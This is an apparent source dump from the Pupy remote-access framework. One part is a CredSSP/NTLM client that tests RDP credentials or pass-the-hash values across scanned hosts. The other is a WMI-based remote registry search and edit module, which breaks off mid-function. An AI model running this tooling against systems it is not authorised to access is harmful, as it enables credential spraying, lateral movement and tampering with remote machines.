class TSPasswordCreds(GSSAPI):
    # TSPasswordCreds ::= SEQUENCE {
    #         domainName  [0] OCTET STRING,
    #         userName    [1] OCTET STRING,
    #         password    [2] OCTET STRING
    # }
    def __init__(self, data=None):
        GSSAPI.__init__(self,data)
        del self['UUID']

    def getData(self):
        asn = pack('B', ASN1_SEQUENCE)
        asn += asn1encode(
            pack('B', 0xa0) + \
            asn1encode(
                pack('B', ASN1_OCTET_STRING) + \
                asn1encode(self['domainName'].encode('utf-16le'))) + \
            pack('B', 0xa1) + \
            asn1encode(
                pack('B', ASN1_OCTET_STRING) + \
                asn1encode(
                    self['userName'].encode('utf-16le'))) + \
            pack('B', 0xa2) + \
            asn1encode(
                pack('B', ASN1_OCTET_STRING) + \
                asn1encode(self['password'].encode('utf-16le'))))

        return asn

class TSCredentials(GSSAPI):
    # TSCredentials ::= SEQUENCE {
    #        credType    [0] INTEGER,
    #        credentials [1] OCTET STRING
    # }
    def __init__(self, data=None):
        GSSAPI.__init__(self,data)
        del self['UUID']

    def getData(self):
        # Let's pack the credentials field
        credentials = pack('B',0xa1)
        credentials += asn1encode(
            pack('B',ASN1_OCTET_STRING) + \
            asn1encode(self['credentials']))

        asn = pack('B',ASN1_SEQUENCE)
        asn += asn1encode(
            pack('B', 0xa0) + \
            asn1encode(
                pack('B', 0x02) + \
                asn1encode(
                    pack('B', self['credType']))) + credentials)

        return asn

class TSRequest(GSSAPI):
    # TSRequest ::= SEQUENCE {
    #   version     [0] INTEGER,
    #       negoTokens  [1] NegoData OPTIONAL,
    #       authInfo    [2] OCTET STRING OPTIONAL,
    #   pubKeyAuth  [3] OCTET STRING OPTIONAL,
    #}
    # NegoData ::= SEQUENCE OF SEQUENCE {
    #        negoToken [0] OCTET STRING
    #}
    #

    def __init__(self, data=None):
        GSSAPI.__init__(self,data)
        del self['UUID']

    def fromString(self, data = None):
        next_byte = unpack('B',data[:1])[0]
        if next_byte != ASN1_SEQUENCE:
            raise Exception('SEQUENCE expected! (%x)' % next_byte)
        data = data[1:]
        decode_data, total_bytes = asn1decode(data)

        next_byte = unpack('B',decode_data[:1])[0]
        if next_byte != 0xa0:
            raise Exception('0xa0 tag not found %x' % next_byte)
        decode_data = decode_data[1:]
        next_bytes, total_bytes = asn1decode(decode_data)
        # The INTEGER tag must be here
        if unpack('B',next_bytes[0])[0] != 0x02:
            raise Exception('INTEGER tag not found %r' % next_byte)
        next_byte, _ = asn1decode(next_bytes[1:])
        self['Version'] = unpack('B',next_byte)[0]
        decode_data = decode_data[total_bytes:]
        next_byte = unpack('B',decode_data[:1])[0]
        if next_byte == 0xa1:
            # We found the negoData token
            decode_data, total_bytes = asn1decode(decode_data[1:])

            next_byte = unpack('B',decode_data[:1])[0]
            if next_byte != ASN1_SEQUENCE:
                raise Exception('ASN1_SEQUENCE tag not found %r' % next_byte)
            decode_data, total_bytes = asn1decode(decode_data[1:])

            next_byte = unpack('B',decode_data[:1])[0]
            if next_byte != ASN1_SEQUENCE:
                raise Exception('ASN1_SEQUENCE tag not found %r' % next_byte)
            decode_data, total_bytes = asn1decode(decode_data[1:])

            next_byte = unpack('B',decode_data[:1])[0]
            if next_byte != 0xa0:
                raise Exception('0xa0 tag not found %r' % next_byte)
            decode_data, total_bytes = asn1decode(decode_data[1:])

            next_byte = unpack('B',decode_data[:1])[0]
            if next_byte != ASN1_OCTET_STRING:
                raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)
            decode_data2, total_bytes = asn1decode(decode_data[1:])
            # the rest should be the data
            self['NegoData'] = decode_data2
            decode_data = decode_data[total_bytes+1:]

        if next_byte == 0xa2:
            # ToDo: Check all this
            # We found the authInfo token
            decode_data, total_bytes = asn1decode(decode_data[1:])
            next_byte = unpack('B',decode_data[:1])[0]
            if next_byte != ASN1_OCTET_STRING:
                raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)
            decode_data2, total_bytes = asn1decode(decode_data[1:])
            self['authInfo'] = decode_data2
            decode_data = decode_data[total_bytes+1:]

        if next_byte == 0xa3:
            # ToDo: Check all this
            # We found the pubKeyAuth token
            decode_data, total_bytes = asn1decode(decode_data[1:])
            next_byte = unpack('B',decode_data[:1])[0]
            if next_byte != ASN1_OCTET_STRING:
                raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)
            decode_data2, total_bytes = asn1decode(decode_data[1:])
            self['pubKeyAuth'] = decode_data2

    def getData(self):
        # Do we have pubKeyAuth?
        if 'pubKeyAuth' in self.fields:
            pubKeyAuth = pack('B',0xa3)
            pubKeyAuth += asn1encode(
                pack('B', ASN1_OCTET_STRING) + \
                asn1encode(self['pubKeyAuth']))
        else:
            pubKeyAuth = ''

        if 'authInfo' in self.fields:
            authInfo = pack('B',0xa2)
            authInfo+= asn1encode(pack('B', ASN1_OCTET_STRING) + \
                            asn1encode(self['authInfo']))
        else:
            authInfo = ''

        if 'NegoData' in self.fields:
            negoData = pack('B',0xa1)
            negoData += asn1encode(
                pack('B', ASN1_SEQUENCE) + \
                asn1encode(
                    pack('B', ASN1_SEQUENCE) + \
                    asn1encode(
                        pack('B', 0xa0) + \
                        asn1encode(
                            pack('B', ASN1_OCTET_STRING) + \
                            asn1encode(self['NegoData'])))))
        else:
            negoData = ''
        ans = pack('B', ASN1_SEQUENCE)
        ans += asn1encode(pack('B',0xa0) + \
                    asn1encode(pack('B',0x02) + asn1encode(pack('B',0x02))) + \
                    negoData + authInfo + pubKeyAuth)

        return ans

    # if __name__ == '__main__':

    #       import socket
    #       import argparse
    #       import sys
    #       import logging
    #       from binascii import a2b_hex
    #       from Crypto.Cipher import ARC4
    #       from impacket import ntlm, version
    #       try:
    #               import OpenSSL
    #               from OpenSSL import SSL, crypto
    #       except:
    #               logging.critical("pyOpenSSL is not installed, can't continue")
    #               sys.exit(1)


class SPNEGOCipher:
    def __init__(self, flags, randomSessionKey):
        self.__flags = flags
        if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
            self.__clientSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey)
            self.__serverSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey,"Server")
            self.__clientSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey)
            self.__serverSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey,"Server")
            # Preparing the keys handle states
            cipher3 = ARC4.new(self.__clientSealingKey)
            self.__clientSealingHandle = cipher3.encrypt
            cipher4 = ARC4.new(self.__serverSealingKey)
            self.__serverSealingHandle = cipher4.encrypt
        else:
            # Same key for everything
            self.__clientSigningKey = randomSessionKey
            self.__serverSigningKey = randomSessionKey
            self.__clientSealingKey = randomSessionKey
            self.__clientSealingKey = randomSessionKey
            cipher = ARC4.new(self.__clientSigningKey)
            self.__clientSealingHandle = cipher.encrypt
            self.__serverSealingHandle = cipher.encrypt
        self.__sequence = 0

    def encrypt(self, plain_data):
        if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
            # When NTLM2 is on, we sign the whole pdu, but encrypt just
            # the data, not the dcerpc header. Weird..
            sealedMessage, signature = ntlm.SEAL(
                self.__flags,
                self.__clientSigningKey,
                self.__clientSealingKey,
                plain_data,
                plain_data,
                self.__sequence,
                self.__clientSealingHandle)
        else:
            sealedMessage, signature = ntlm.SEAL(
                self.__flags,
                self.__clientSigningKey,
                self.__clientSealingKey,
                plain_data,
                plain_data,
                self.__sequence,
                self.__clientSealingHandle)

        self.__sequence += 1

        return signature, sealedMessage

    def decrypt(self, answer):
        if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
            # TODO: FIX THIS, it's not calculating the signature well
            # Since I'm not testing it we don't care... yet
            answer, signature = ntlm.SEAL(
                self.__flags,
                self.__serverSigningKey,
                self.__serverSealingKey,
                answer,
                answer,
                self.__sequence,
                self.__serverSealingHandle)
        else:
            answer, signature = ntlm.SEAL(
                self.__flags,
                self.__serverSigningKey,
                self.__serverSealingKey,
                answer,
                answer,
                self.__sequence,
                self.__serverSealingHandle)

        self.__sequence += 1

        return signature, answer

def check_rdp_socket(s, username, password, domain, hashes=None):
    try:
        from OpenSSL import SSL, crypto
    except:
        return "pyOpenSSL is not installed, can't continue"

    if hashes is not None:
        lmhash, nthash = hashes.split(':')
        lmhash = a2b_hex(lmhash)
        nthash = a2b_hex(nthash)

    else:
        lmhash = ''
        nthash = ''

    tpkt = TPKT()
    tpdu = TPDU()
    rdp_neg = RDP_NEG_REQ()
    rdp_neg['Type'] = TYPE_RDP_NEG_REQ
    rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL
    tpdu['VariablePart'] = str(rdp_neg)
    tpdu['Code'] = TDPU_CONNECTION_REQUEST
    tpkt['TPDU'] = str(tpdu)

    s.setblocking(1)
    s.sendall(str(tpkt))
    pkt = s.recv(8192)

    try:
        tpkt.fromString(pkt)
        tpdu.fromString(tpkt['TPDU'])

        cr_tpdu = CR_TPDU(tpdu['VariablePart'])
        if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE:
            rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart'])
            rdp_failure.dump()
            return "Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials"
        else:
            rdp_neg.fromString(tpdu['VariablePart'])

    except struct_error:
        return False


    # Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation

    # 1. The CredSSP client and CredSSP server first complete the TLS handshake,
    # as specified in [RFC2246]. After the handshake is complete, all subsequent
    # CredSSP Protocol messages are encrypted by the TLS channel.
    # The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS
    # handshake, the CredSSP server does not request the client's X.509 certificate
    # (thus far, the client is anonymous). Also, the CredSSP Protocol does not require
    # the client to have a commonly trusted certification authority root with the
    # CredSSP server. Thus, the CredSSP server MAY use, for example,
    # a self-signed X.509 certificate.

    # Switching to TLS now
    ctx = SSL.Context(SSL.TLSv1_METHOD)
    ctx.set_cipher_list('RC4')
    tls = SSL.Connection(ctx, s)
    tls.set_connect_state()
    tls.setblocking(1)
    tls.do_handshake()

    # If you want to use Python internal ssl, uncomment this and comment
    # the previous lines
    #tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4')

    # 2. Over the encrypted TLS channel, the SPNEGO handshake between the client
    # and server completes mutual authentication and establishes an encryption key
    # that is used by the SPNEGO confidentiality services, as specified in [RFC4178].
    # All SPNEGO tokens as well as the underlying encryption algorithms are opaque to
    # the calling application (the CredSSP client and CredSSP server).
    # The wire protocol for SPNEGO is specified in [MS-SPNG].
    # The SPNEGO tokens exchanged between the client and the server are encapsulated
    # in the negoTokens field of the TSRequest structure. Both the client and the
    # server use this structure as many times as necessary to complete the SPNEGO
    # exchange.<9>
    #
    # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
    # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth
    # field is omitted by the client unless the client is sending the last SPNEGO token.
    # If the client is sending the last SPNEGO token, the TSRequest structure MUST have
    # both the negoToken and the pubKeyAuth fields filled in.

    # NTLMSSP stuff
    auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True)

    ts_request = TSRequest()
    ts_request['NegoData'] = str(auth)

    tls.send(ts_request.getData())

    buff = tls.recv(4096)

    try:
        ts_request.fromString(buff)
    except struct_error:
        return False

    # 3. The client encrypts the public key it received from the server (contained
    # in the X.509 certificate) in the TLS handshake from step 1, by using the
    # confidentiality support of SPNEGO. The public key that is encrypted is the
    # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509
    # certificate, as specified in [RFC3280] section 4.1. The encrypted key is
    # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over
    # the TLS channel to the server.
    #
    # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
    # from the TSRequest structure; the client MUST send its last SPNEGO token to the
    # server in the negoTokens field (see step 2) along with the encrypted public key
    # in the pubKeyAuth field.

    # Last SPNEGO token calculation
    #ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData'])
    type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True)

    # Get server public key
    server_cert = tls.get_peer_certificate()
    pkey = server_cert.get_pubkey()
    dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey)

    # Fix up due to PyOpenSSL lack for exporting public keys
    dump = dump[7:]
    dump = b'\x30'+ asn1encode(dump)

    cipher = SPNEGOCipher(type3['flags'], exportedSessionKey)
    signature, cripted_key = cipher.encrypt(dump)
    ts_request['NegoData'] = str(type3)
    ts_request['pubKeyAuth'] = str(signature) + cripted_key

    try:
        # Sending the Type 3 NTLM blob
        tls.send(ts_request.getData())
        # The other end is waiting for the pubKeyAuth field, but looks like it's
        # not needed to check whether authentication worked.
        # If auth is unsuccessful, it throws an exception with the previous send().
        # If auth is successful, the server waits for the pubKeyAuth and doesn't answer
        # anything. So, I'm sending garbage so the server returns an error.
        # Luckily, it's a different error so we can determine whether or not auth worked ;)
        buff = tls.recv(1024)

    except SSL.Error:
        # Likely communication error
        return False

    except Exception as e:
        return str(type(e)) + ': ' + str(e)

    # 4. After the server receives the public key in step 3, it first verifies that
    # it has the same public key that it used as part of the TLS handshake in step 1.
    # The server then adds 1 to the first byte representing the public key (the ASN.1
    # structure corresponding to the SubjectPublicKey field, as described in step 3)
    # and encrypts the binary result by using the SPNEGO encryption services.
    # Due to the addition of 1 to the binary data, and encryption of the data as a binary
    # structure, the resulting value may not be valid ASN.1-encoded values.
    # The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest
    # structure and is sent over the encrypted TLS channel to the client.
    # The addition of 1 to the first byte of the public key is performed so that the
    # client-generated pubKeyAuth message cannot be replayed back to the client by an
    # attacker.
    #
    # Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens
    # fields are omitted from the TSRequest structure.

    try:
        ts_request = TSRequest(buff)
    except struct_error:
        return False

    # Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;)
    signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:])

    # 5. After the client successfully verifies server authenticity by performing a
    # binary comparison of the data from step 4 to that of the data representing
    # the public key from the server's X.509 certificate (as specified in [RFC3280],
    # section 4.1), it encrypts the user's credentials (either password or smart card
    # PIN) by using the SPNEGO encryption services. The resulting value is
    # encapsulated in the authInfo field of the TSRequest structure and sent over
    # the encrypted TLS channel to the server.
    # The TSCredentials structure within the authInfo field of the TSRequest
    # structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure,
    # but MUST NOT contain both.
    #
    # Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens
    # fields are omitted from the TSRequest structure.
    tsp = TSPasswordCreds()

    tsp['domainName'] = domain
    tsp['userName']   = username
    tsp['password']   = password

    tsc = TSCredentials()
    tsc['credType'] = 1 # TSPasswordCreds
    tsc['credentials'] = tsp.getData()

    signature, cripted_creds = cipher.encrypt(tsc.getData())
    ts_request = TSRequest()
    ts_request['authInfo'] = str(signature) + cripted_creds
    tls.send(ts_request.getData())
    tls.close()

    return True

def check_rdp(targets, username, password, domain, hashes, on_complete=None, on_result=None):
    def check_rdp_port(info):
        host, port, socket = info
        try:
            result = check_rdp_socket(socket, username, password, domain, hashes)
            if on_result:
                on_result(host, result)
        except Exception as e:
            on_result(host, str(type(e)) + ': ' + str(e))

    def on_exception(e):
        on_result('Exception', '{}: {}'.format(type(e), e))

    return scanthread_parse(
        targets, '3389', on_complete, timeout=5,
        pass_socket=True, on_open_port=check_rdp_port,
        on_exception=on_exception).set


================================================
FILE: pupy/packages/all/pupyutils/rreg.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = [
  'Key', 'search', 'enum',
  'set', 'get', 'rm'
]

import re
import sys
import struct
import threading
import traceback

from pupyutils.psexec import ConnectionInfo

from impacket.dcerpc.v5.dcom.wmi import ENCODED_STRING
from impacket.structure import Structure

from pupy.network.lib.pupyrpc import nowait
from pupy.network.lib.convcompat import as_unicode_string

if sys.version_info.major > 2:
    unicode = str
    basestring = str
    long = int


ERROR_SUCCESS = 0
ERROR_MORE_DATA = 234

REG_NONE = 0
REG_SZ = 1
REG_EXPAND_SZ = 2
REG_BINARY = 3
REG_DWORD = 4
REG_DWORD_BIG_ENDIAN = 5
REG_DWORD_LITTLE_ENDIAN = 4
REG_QWORD = 11
REG_LINK = 6
REG_MULTI_SZ = 7
REG_RESOURCE_LIST = 8
REG_FULL_RESOURCE_DESCRIPTOR = 9
REG_RESOURCE_REQUIREMENTS_LIST = 10

REG_OPTION_RESERVED = 0x0000
REG_OPTION_NON_VOLATILE = 0x0000
REG_OPTION_VOLATILE = 0x0001
REG_OPTION_CREATE_LINK = 0x0002
REG_OPTION_BACKUP_RESTORE = 0x0004
REG_OPTION_OPEN_LINK = 0x0008

KEY_QUERY_VALUE = 0x0001
KEY_SET_VALUE = 0x0002
KEY_CREATE_SUB_KEY = 0x0004
KEY_ENUMERATE_SUB_KEYS = 0x0008
KEY_NOTIFY = 0x0010
KEY_CREATE_LINK = 0x0020
KEY_WOW64_32KEY = 0x0200
KEY_WOW64_64KEY = 0x0100
KEY_WOW64_RES = 0x0300
READ_CONTROL = 0x00020000
SYNCHRONIZE = 0x00100000
STANDARD_RIGHTS_READ = READ_CONTROL
STANDARD_RIGHTS_WRITE = READ_CONTROL
STANDARD_RIGHTS_ALL = 0x001F0000

KEY_READ = (
    (
        STANDARD_RIGHTS_READ | \
        KEY_QUERY_VALUE | \
        KEY_ENUMERATE_SUB_KEYS | \
        KEY_NOTIFY
    ) & (~SYNCHRONIZE)
)
KEY_WRITE = (
    (
        STANDARD_RIGHTS_WRITE | \
        KEY_SET_VALUE | \
        KEY_CREATE_SUB_KEY
    ) & (~SYNCHRONIZE)
)
KEY_ALL_ACCESS = (
    (
        STANDARD_RIGHTS_ALL | \
        KEY_QUERY_VALUE | \
        KEY_SET_VALUE | \
        KEY_CREATE_SUB_KEY | \
        KEY_ENUMERATE_SUB_KEYS | \
        KEY_NOTIFY | \
        KEY_CREATE_LINK
    ) & (~SYNCHRONIZE)
)


HKEY_CLASSES_ROOT = 0x80000000
HKEY_CURRENT_USER = 0x80000001
HKEY_LOCAL_MACHINE = 0x80000002
HKEY_USERS = 0x80000003
HKEY_PERFORMANCE_DATA = 0x80000004
HKEY_CURRENT_CONFIG = 0x80000005
HKEY_DYN_DATA = 0x80000006

WELL_KNOWN_KEYS = {
    'HKEY_LOCAL_MACHINE': HKEY_LOCAL_MACHINE,
    'HKLM': HKEY_LOCAL_MACHINE,
    'HKEY_CURRENT_USER': HKEY_CURRENT_USER,
    'HKCU': HKEY_CURRENT_USER,
    'HKEY_CURRENT_CONFIG': HKEY_CURRENT_CONFIG,
    'HKCC': HKEY_CURRENT_CONFIG,
    'HKEY_CLASSES_ROOT': HKEY_CLASSES_ROOT,
    'HKCR': HKEY_CLASSES_ROOT,
    'HKEY_USERS': HKEY_USERS,
    'HKU': HKEY_USERS,
    'HKEY_PERFORMANCE_DATA': HKEY_PERFORMANCE_DATA,
    'HKPD': HKEY_PERFORMANCE_DATA,
}

WELL_KNOWN_TYPES = {
    int: REG_DWORD,
    str: REG_SZ
}

if sys.version_info.major < 3:
    WELL_KNOWN_TYPES[unicode] = REG_SZ

WELL_KNOWN_TYPES_NAMES = {
    REG_DWORD: 'DWORD',
    REG_QWORD: 'LE64',
    REG_BINARY: 'BINARY',
    REG_DWORD_LITTLE_ENDIAN: 'LE32',
    REG_DWORD_BIG_ENDIAN: 'BE32',
    REG_EXPAND_SZ: 'EXPAND_SZ',
    REG_LINK: 'LINK',
    REG_MULTI_SZ: 'MULTI_SZ',
    REG_NONE: 'NONE',
    REG_RESOURCE_LIST: 'RESOURCE',
    REG_FULL_RESOURCE_DESCRIPTOR: 'RESOURCE_DESCRIPTOR',
    REG_RESOURCE_REQUIREMENTS_LIST: 'RESOURCE_REQUIREMENTS_LIST',
    REG_SZ: 'SZ'
}

WELL_KNOWN_TYPES_GETTERS = {
    REG_DWORD: ('GetDWORDValue', 'uValue'),
    REG_QWORD: ('GetQWORDValue', 'uValue'),
    REG_BINARY: ('GetBinaryValue', 'uValue'),
    REG_DWORD_LITTLE_ENDIAN: ('GetDWORDValue', 'uValue'),
    REG_DWORD_BIG_ENDIAN: ('GetDWORDValue', 'uValue'),
    REG_EXPAND_SZ: ('GetExpandedStringValue', 'sValue'),
    REG_MULTI_SZ: ('GetMultiStringValue', 'sValue'),
    REG_SZ: ('GetStringValue', 'sValue'),
}

WELL_KNOWN_TYPES_SETTERS = {
    REG_DWORD: 'SetDWORDValue',
    REG_QWORD: 'SetQWORDValue',
    REG_BINARY: 'SetBinaryValue',
    REG_DWORD_LITTLE_ENDIAN: 'SetDWORDValue',
    REG_DWORD_BIG_ENDIAN: 'SetDWORDValue',
    REG_EXPAND_SZ: 'SetExpandedStringValue',
    REG_MULTI_SZ: 'SetMultiStringValue',
    REG_SZ: 'SetStringValue',
}


# Workaround for impacket

if sys.version_info.major < 3:
    def ENCODED_STRING__setitem__(self, key, value):
        if key == 'Character' and isinstance(value, unicode):
            value = value.encode('utf-16le')
            Structure.__setitem__(self, 'Encoded_String_Flag', 0x1)
            self.structure = self.tunicode
            self.isUnicode = True

        Structure.__setitem__(self, key, value)


    setattr(ENCODED_STRING, '__setitem__', ENCODED_STRING__setitem__)


def value_to_bytes(value, ktype):
    if isinstance(value, str):
        return value

    if ktype in (REG_SZ, REG_EXPAND_SZ):
        if not isinstance(value, bytes):
            value = value.encode('utf-16le')
        if not isinstance(value, str):
            value = str(value).encode('utf-16le')

    elif ktype == REG_MULTI_SZ:
        value = u'\0'.join(value) + u'\0\0'

    elif ktype == REG_DWORD:
        value = struct.pack('<i', value)

    elif ktype == REG_DWORD_LITTLE_ENDIAN:
        value = struct.pack('<i', value)

    elif ktype == REG_DWORD_BIG_ENDIAN:
        value = struct.pack('>i', value)

    elif ktype == REG_QWORD:
        value = struct.pack('<q', value)

    return value


if sys.version_info.major > 2:
    def as_str(value):
        if isinstance(value, str):
            return value

        return str(value)
else:
    def as_str(value):
        if isinstance(value, str):
            return value
        elif isinstance(value, unicode):
            return value.encode('utf-8')

        return str(value)


class RRegError(ValueError):
    pass


def raise_on_error(result):
    if result.ReturnValue:
        raise RRegError(result.ReturnValue)


class KeyIter(object):
    __slots__ = (
        'handle', 'orig_name', 'key',
        'sub', 'idx',
        'max_value_size', 'max_data_size'
    )

    def __init__(self, orig_name, key, sub, handle):
        self.orig_name = orig_name
        self.key = key
        self.sub = sub
        self.handle = handle
        self.idx = 0
        self.max_value_size = None
        self.max_data_size = None

    def __iter__(self):
        result = self.handle.EnumKey(self.key, self.sub)
        raise_on_error(result)

        if result.sNames:
            for name in result.sNames:
                yield Key(self.handle, u'\\'.join([self.orig_name, name]))

        result = self.handle.EnumValues(self.key, self.sub)
        raise_on_error(result)

        if not result.sNames:
            return

        for name, ktype in zip(result.sNames, result.Types):
            supported_getter = WELL_KNOWN_TYPES_GETTERS.get(ktype)
            if supported_getter is None:
                # Unsupported type, omit
                continue

            getter, field = supported_getter
            method = getattr(self.handle, getter)
            wmivalue = method(self.key, self.sub, name)
            raise_on_error(wmivalue)

            value = getattr(wmivalue, field)

            yield Value(self.orig_name, name, value, ktype)



class Value(object):
    __slots__ = ('parent', 'name', 'value', 'type')

    def __init__(self, parent, name, value, ktype):
        self.parent = parent
        self.name = name
        self.value = value
        self.type = ktype

    def __repr__(self):
        return 'Value({}, {}, {}, {})'.format(
            repr(self.parent),
            repr(self.name),
            repr(self.value),
            repr(self.type)
        )


class Key(object):
    __slots__ = (
        'arg', 'key', 'sub', 'handle', '_values'
    )

    def __init__(self, handle, key):
        sub_key = None
        top_key = None

        key = as_unicode_string(key)
        for wkk, wrk in WELL_KNOWN_KEYS.items():
            if key == wkk:
                top_key = wrk
                sub_key = ''
            elif key.startswith((wkk+'\\', wkk+'/')):
                top_key = wrk
                sub_key = key[len(wkk)+1:]
                break

        if not top_key:
            raise KeyError(key)

        sub_key = sub_key.strip('\\')

        self.key = top_key
        self.sub = sub_key
        self.arg = key
        self.handle = handle

        self._values = {}

    @property
    def name(self):
        return self.arg.split('\\')[-1]

    @property
    def parent(self):
        return u'\\'.join(self.arg.split('\\')[:-1])

    def _query_value(self, attr):
        if not self._values:
            result = self.handle.EnumValues(self.key, self.sub)
            raise_on_error(result)

            if result.sNames:
                self._values = dict(zip(result.sNames, result.Types))
            else:
                self._values = {}

        if attr not in self._values:
            raise KeyError(attr)

        ktype = self._values[attr]

        getter = WELL_KNOWN_TYPES_GETTERS.get(ktype)
        method = getattr(self.handle, getter)
        wmivalue = method(self.key, self.sub, attr)
        raise_on_error(wmivalue)

        value = getattr(wmivalue, attr)
        return Value(self.arg, attr, value, ktype)

    def __iter__(self):
        for value in KeyIter(self.arg, self.key, self.sub, self.handle):
            yield value

    def __str__(self):
        return as_str(self.arg)

    def __unicode__(self):
        return as_unicode_string(self.arg)

    def __repr__(self):
        return repr(self.arg)

    def __int__(self):
        return repr(self.arg)

    def __delitem__(self, attr):
        result = self.handle.DeleteValue(self.key, self.sub, attr)
        if result.ReturnValue == 2:
            result = self.handle.DeleteKey(self.key, self.sub + '\\' + attr)

        if result.ReturnValue:
            raise ValueError(result.ReturnValue)

    def __getitem__(self, attr):
        return self._query_value(attr)

    def __setitem__(self, attr, value):
        vtype = type(value)

        if vtype not in WELL_KNOWN_TYPES and vtype is not Value:
            raise TypeError('setattr only supported for str/int')

        ktype = value.type if vtype is Value else WELL_KNOWN_TYPES[vtype]
        if vtype is Value:
            value = value.value
        elif ktype == REG_SZ and '%' in value:
            ktype = REG_EXPAND_SZ

        method = WELL_KNOWN_TYPES_SETTERS.get(ktype)

        setter = getattr(self.handle, method)
        result = setter(self.key, self.sub, attr, value)

        raise_on_error(result)


def __search(
    regprov, completed, data_cb, close_cb,
    term, roots=('HKU', 'HKLM', 'HKCC'), key=True,
        name=True, value=True, regex=False,
        ignorecase=False, first=False, equals=False):

    compare = None

    def contains(u_term, b_term, i_term, value, ignorecase=False):
        if isinstance(value, unicode):
            if ignorecase:
                value = value.lower()
            return u_term in value
        elif isinstance(value, (int, long)):
            if i_term is None:
                return False
            return i_term == value
        elif isinstance(value, str):
            if ignorecase:
                value = value.lower()
            return b_term in value
        elif isinstance(value, list):
            return any(
                contains(
                    u_term, b_term, i_term, x, ignorecase
                ) for x in value
            )
        else:
            return False

    def issame(u_term, b_term, i_term, value, ignorecase=False):
        if isinstance(value, unicode):
            if ignorecase:
                value = value.lower()
            return u_term == value
        elif isinstance(value, (int, long)):
            if i_term is None:
                return False
            return i_term == value
        elif isinstance(value, bytes):
            if ignorecase:
                value = value.lower()
            return b_term == value
        elif isinstance(value, list):
            return any(
                issame(
                    u_term, b_term, i_term, x, ignorecase
                ) for x in value
            )
        else:
            return False

    if ignorecase:
        term = term.lower()

    u_term = as_unicode_string(term)
    b_term = as_str(term)

    try:
        i_term = int(term)
    except ValueError:
        i_term = None

    if regex:
        term_re = re.compile(
            u_term,
            re.UNICODE | \
                re.MULTILINE | \
                    (re.IGNORECASE if ignorecase else 0))

        if equals:
            compare = lambda x: \
                term_re.match(x) if isinstance(x, unicode) else False
        else:
            compare = lambda x: \
                term_re.search(x) if isinstance(x, unicode) else False

    else:
        if equals:
            compare = lambda x: issame(u_term, b_term, i_term, x, ignorecase)
        else:
            compare = lambda x: contains(u_term, b_term, i_term, x, ignorecase)

    if isinstance(roots, basestring):
        roots = [roots]

    def _walk(root, data_cb):
        if completed.is_set():
            return

        for kv in root:
            if completed.is_set():
                return

            if isinstance(kv, Key):
                if key and compare(kv.name):
                    data_cb((True, kv.name))
                    if first:
                        completed.set()
                        return

                try:
                    _walk(kv, data_cb)
                except RRegError:
                    pass

            elif isinstance(kv, Value):
                if (
                    name and compare(kv.name)
                ) or (
                    value and compare(kv.value)
                ):
                    data_cb((
                        False, kv.parent, kv.name,
                        kv.value, kv.type))
                    if first:
                        completed.set()
                        return
            else:
                raise TypeError(
                    'Unknown type {} in search'.format(
                        type(kv)))

    try:
        for root in roots:
            try:
                _walk(Key(regprov, root), data_cb)
            except RRegError:
                continue

    except Exception as e:
        data_cb((None, '{}\n{}'.format(e, traceback.format_exc())))

    finally:
        if completed.is_set():
            data_cb((None, 'Interrupted'))

        completed.set()
        close_cb()


def _search(
    conninfo, completed, data_cb, close_cb,
    term, roots=('HKU', 'HKLM', 'HKCC'), key=True,
        name=True, value=True, regex=False,
        ignorecase=False, first=False, equals=False):

    with conninfo:
        iWbemServices = conninfo.create_wbem('//./root/cimv2')
        regprov, _ = iWbemServices.GetObject('StdRegprov')

        __search(
            regprov, completed, data_cb, close_cb,
            term, roots, key, name, value, regex,
            ignorecase, first, equals
        )


def search(
    host, port,
    user, domain,
    password, ntlm,
    data_cb, close_cb,
    term, roots=('HKU', 'HKLM', 'HKCC'), key=True,
        name=True, value=True, regex=False,
        ignorecase=False, first=False, equals=False, timeout=30):

    conninfo = ConnectionInfo(
        host, port, user, domain, password, ntlm, timeout=timeout
    )

    data_cb = nowait(data_cb)
    close_cb = nowait(close_cb)

    completed = threading.Event()
    worker = threading.Thread(
        name='Reg:Search',
        target=_search,
        args=(
            conninfo,
            completed,
            data_cb, close_cb,
            term, roots, key,
            name, value, regex,
            ignorecase, first, equals
        )
    )

    worker.start()

    def interrupt():
        completed.set()
        worker.join()

    return interrupt


def enum(
    host, port,
    user, domain,
        password, ntlm,
        path=None, timeout=30):

    conninfo = ConnectionInfo(
